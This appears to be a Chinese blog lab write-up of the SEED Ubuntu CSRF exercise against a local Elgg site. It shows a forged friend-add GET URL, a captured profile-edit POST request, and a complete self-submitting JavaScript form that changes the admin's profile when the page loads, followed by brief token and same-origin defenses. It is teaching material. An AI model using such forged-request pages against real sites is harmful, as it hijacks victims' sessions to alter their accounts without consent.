网站首页 > 技术文章 正文
一定要看到结尾,你会看到一个魔术!长衫大佬可以坐下来,听听我讲(tree)故(new)事(bee):
【Web安全】CSRF攻击防范
作者 ailx10
什么是CSRF攻击?
CSRF简介
CSRF(Cross-site request forgery)跨站请求伪造
可信站点 Elgg网站 可信站点的受害用户 admin用户
恶意用户 恶意站点 攻击者网站
1.admin使用他的用户名密码登录到Elgg
2.Elgg将admin的会话标识符存储在admin的Web浏览器的cookie中
3.admin被诱导访问攻击者网站
4.攻击者网站 是一个自提交的表单
5.web浏览器把cookie附加在请求中 一并发送到Elgg网站
6.Elgg处理这个GET/POST请求 攻击发生!
- CSRF与XSS攻击对比
1.XSS需要1个网站 CSRF需要2个网站
2.XSS注入点在Elgg网站 CSRF注入点在攻击者网站
3.都需要诱导admin访问某个页面
实验环境配置
如果你已经完成了XSS攻击防范实验 那么CSRF攻击对你来说就很简单了!
- 浏览器配置
安装LiveHTTPHeaders插件
- Apache配置
SEEDUbuntu12.04预安装 我们只要启动即可!
- Elgg网站安装
SEEDUbuntu12.04预安装
和XSS攻击实验一样:
User UserName Password
Admin admin seedelgg
Alice alice seedalice
Boby boby seedboby
Charlie charlie seedcharlie
Samy samy seedsamy
- DNS服务器配置
SEEDUbuntu12.04预安装
URL Description Directory
www.csrflabattacker.com 攻击者网站 /var/www/CSRF/Attacker/
www.csrflabelgg.com Elgg网站 /var/www/CSRF/Elgg/
在一台服务器上搭建多个站点的网站 已经在XSS实验中教过了!!
修改/etc/hosts文件:
192.168.59.155 www.csrflabelgg.com
192.168.59.155 www.csrflabattacker.com
现在你已经能成功访问上面的2个网站了!!
开始咱们的CSRF攻击实验吧!
通过CSRF攻击让目标用户添加好友
攻击者希望admin添加自己好友 但是admin不同意 咋办?
咱们先自己添加一下好友 看看这个动作到底干了什么 通过HTTPHeaderLive我们可以看到是个GET请求!!
请求地址如下 我们在攻击者网站构造一个img标签 实现自动GET请求:
http://www.csrflabelgg.com/action/friends/add?friend=43&__elgg_ts=1529135222&__elgg_token=a2b973d09b00ab37ce9b443ae659150f
通过CSRF攻击修改目标用户的个人简介
攻击者希望admin帮他打广告 但是admin不同意 咋办?
咱们这里说的打广告 只是个比喻 实际上做的是 要求admin修改一下个人简介
admin当然不干了 你叫我改我就改啊? 我和你很熟吗? 我admin可是站长 有脾气的!!
咱们先看看修改个人简介这个动作 到底是什么操作? 通过HTTPHeaderLive我们可以看到是个POST请求 !!
POST http://www.csrflabelgg.com/action/profile/edit
Host: www.csrflabelgg.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.csrflabelgg.com/profile/admin/
Content-Type: application/x-www-form-urlencoded
Content-Length: 565
Cookie: Elgg=lgpeqhed4b0ei8c1nid9kgonj2
Connection: keep-alive
Upgrade-Insecure-Requests: 1
__elgg_token=4758d8fee39a3a3ca0e3eb2d8c9f43b7
&__elgg_ts=1529136959
&name=admin
&description=
&accesslevel[description]=2
&briefdescription=我是admin站长大人!!!
&accesslevel[briefdescription]=2
&location=
&accesslevel[location]=2
&interests=
&accesslevel[interests]=2
&skills=
&accesslevel[skills]=2
&contactemail=
&accesslevel[contactemail]=2
&phone=&accesslevel[phone]=2
&mobile=
&accesslevel[mobile]=2
&website=&accesslevel[website]=2
&twitter=
&accesslevel[twitter]=2
&guid=33
CSRF攻击前:
攻击者可以构造自动提交的POST表单:
<html>
<body>
<h1>This page forges an HTTP POST request.</h1>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_blank";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields = "";
fields += "<input type='hidden' name='name' value='Admin'>";
fields += "<input type='hidden' name='description' value='hackbiji'>";
fields += "<input type='hidden' name='accesslevel[description]' value='2'>";
fields += "<input type='hidden' name='briefdescription' value='hackbiji'>";
fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
fields += "<input type='hidden' name='location' value=''>";
fields += "<input type='hidden' name='accesslevel[location]' value='2'>";
fields += "<input type='hidden' name='guid' value='33'>";
var url = "http://www.csrflabelgg.com/action/profile/edit";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body>
</html>
CSRF攻击后:
中小企业如何防御CSRF攻击
中小企业应付Web攻击的最好的建议:部署WAF
技术层面防御CSRF攻击:
- 什么是浏览器同源保护策略?
采用Token验证请求的合法性
同源的定义:
1.协议相同
2.域名相同
3.端口相同
开启Elgg网站的CSRF保护策略!!
在/var/www/CSRF/elgg/engine/lib/action.php 文件中 注释掉return true 重启apache服务器 记得清空缓存继续实验!!!如下图CSRF攻击无效!!!
function action_gatekeeper($action) {
//return true;
...
...
}
猜你喜欢
- 2024-10-09 用最快速度,打造「最强 Webpack 前端工具链」,强势运行
- 2024-10-09 苹果iPhone 15 Pro系列手机静音拨片将改为Action按钮
- 2024-10-09 22个必须学习的Linux安全命令 简述linux的安全口令规则
- 2024-10-09 盘点|22个基本的Linux安全命令 linux教程安全性
- 2024-10-09 0207-使用Oozie API接口向Kerberos环境的CDH集群提交Shell作业
- 2024-10-09 DELMIA软件物流仿真:操作对象显示与隐藏功能介绍与使用方法
- 2024-10-09 机器人机械臂ROS通讯机制发布订阅多线程
你 发表评论:
欢迎- 最近发表
-
- 在 Spring Boot 项目中使用 activiti
- 开箱即用-activiti流程引擎(active 流程引擎)
- 在springBoot项目中整合使用activiti
- activiti中的网关是干什么的?(activiti包含网关)
- SpringBoot集成工作流Activiti(完整源码和配套文档)
- Activiti工作流介绍及使用(activiti工作流会签)
- SpringBoot集成工作流Activiti(实际项目演示)
- activiti工作流引擎(activiti工作流引擎怎么用)
- 工作流Activiti初体验及在数据库中生成的表
- Activiti工作流浅析(activiti6.0工作流引擎深度解析)
- 标签列表
-
- oraclesql优化 (66)
- 类的加载机制 (75)
- feignclient (62)
- 一致性hash算法 (71)
- dockfile (66)
- 锁机制 (57)
- javaresponse (60)
- 查看hive版本 (59)
- phpworkerman (57)
- spark算子 (58)
- vue双向绑定的原理 (68)
- springbootget请求 (58)
- docker网络三种模式 (67)
- spring控制反转 (71)
- data:image/jpeg (69)
- base64 (69)
- java分页 (64)
- kibanadocker (60)
- qabstracttablemodel (62)
- java生成pdf文件 (69)
- deletelater (62)
- com.aspose.words (58)
- android.mk (62)
- qopengl (73)
- epoch_millis (61)
本文暂时没有评论,来添加一个吧(●'◡'●)